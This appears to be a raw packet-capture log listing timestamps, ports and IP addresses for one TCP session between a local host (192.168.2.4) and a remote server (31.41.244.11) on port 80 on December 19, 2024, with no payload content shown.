Dec 19, 2024 14:10:20.826371908 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.826426029 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.826484919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.827245951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.827300072 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.827354908 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.827403069 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.828038931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.828080893 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.828181982 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.828227997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.828886986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.828938007 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.828970909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.828995943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.829689980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.829752922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.829823971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.829967022 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.830965042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.831001043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.831037998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.831727028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.831768036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.831841946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.831887007 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.832566977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.832624912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.832668066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.832709074 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.833470106 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.833544970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.833573103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.833617926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.834180117 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.834232092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.834239960 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.834271908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.835114002 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.835163116 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.835165977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.835206032 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.835931063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.835969925 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.836000919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.836046934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.836848021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.836905003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.836988926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.837030888 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.837757111 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.837790966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.837819099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.837842941 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.838634014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.838685036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.838804007 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.838855028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.839642048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.839695930 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.839731932 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.839781046 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.840513945 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.840563059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.840580940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.840641975 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.841344118 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.841394901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.841473103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.841578007 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.842287064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.842344046 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.842395067 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.842477083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.843234062 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.843282938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.843386889 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.843426943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.844080925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.844130039 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.844182014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.844527006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.845015049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.845079899 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.845087051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.845206976 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.846076965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.846134901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.846142054 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.846184015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.846863985 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.846934080 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.847007036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.847104073 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.847793102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.847851038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.847878933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.847922087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.848614931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.848673105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.848771095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.848849058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.849529028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.849585056 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.849601984 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.849642992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.850410938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.850604057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.850605011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.850677013 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.851331949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.851373911 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.851439953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.851485968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.852194071 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.852247953 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.852307081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.852350950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.853193045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.853241920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.853293896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.853354931 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.854095936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.854145050 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.854196072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.854243994 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.855118036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.855240107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.855285883 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.855865955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.855916977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.856038094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.856090069 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.856894016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.856967926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.857103109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.857232094 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.857887030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.857940912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.857963085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.858067036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.858788013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.858835936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.858897924 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.858942032 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.859643936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.859692097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.859752893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.859879017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.860414028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.860467911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.860490084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.860512018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.861625910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.861679077 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.861751080 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.861824989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.862252951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.862332106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.007206917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.007247925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.007277966 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.007307053 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.007308006 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.007354021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.007364035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.007405996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.008059025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.008116961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.008124113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.008173943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.008769989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.008821011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.008900881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.008949995 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.009641886 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.009689093 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.009874105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.009942055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.010499954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.010549068 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.010653973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.010710001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.011451960 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.011502028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.011560917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.011663914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.012315989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.012371063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.012432098 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.012649059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.013295889 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.013345003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.013396978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.013525963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.014457941 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.014511108 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.014513969 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.014565945 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.015137911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.015232086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.015242100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.015289068 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.016292095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.016352892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.016570091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.016649008 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.016870975 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.016926050 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.017107964 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.017165899 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.017760038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.017812967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.017985106 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.018035889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.018666029 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.018776894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.018826008 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.019572973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.019629002 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.019768000 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.019870996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.020415068 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.020467043 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.020595074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.020641088 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.021341085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.021398067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.021475077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.021522045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.022237062 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.022360086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.022377968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.022424936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.023196936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.023253918 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.023355961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.023416996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.024049997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.024107933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.024177074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.024238110 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.025146008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.025181055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.025221109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.025237083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.025871992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.025926113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.026097059 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.026144981 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.026796103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.026859045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.026918888 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.026988983 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.027698994 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.027760983 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.027803898 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.027849913 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.028727055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.028784990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.028799057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.028844118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.029669046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.029722929 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.029757023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.029824972 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.030594110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.030641079 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.030736923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.030852079 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.031400919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.031471014 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.031557083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.031609058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.032196045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.032246113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.032311916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.032360077 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.033160925 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.033217907 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.033236027 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.033284903 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.034085989 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.034142017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.034147024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.034190893 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.034919977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.034980059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.035028934 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.035188913 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.035808086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.035862923 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.035927057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.036046028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.036720991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.036763906 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.036864042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.036906958 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.037652969 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.037708044 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.037763119 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.037817001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.038547993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.038624048 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.038691998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.038769960 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.039516926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.039568901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.039623022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.039669991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.040407896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.040472031 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.040558100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.040621042 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.041229963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.041284084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.041326046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.041510105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.042186975 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.042221069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.042242050 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.042270899 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.043047905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.043097019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.043183088 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.043230057 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.043975115 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.044028044 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.044133902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.044188976 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.045039892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.045098066 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.045263052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.045381069 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.045825005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.045942068 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.045950890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.045998096 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.046690941 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.046753883 CET	49775	80	192.168.2.4	31.41.244.11
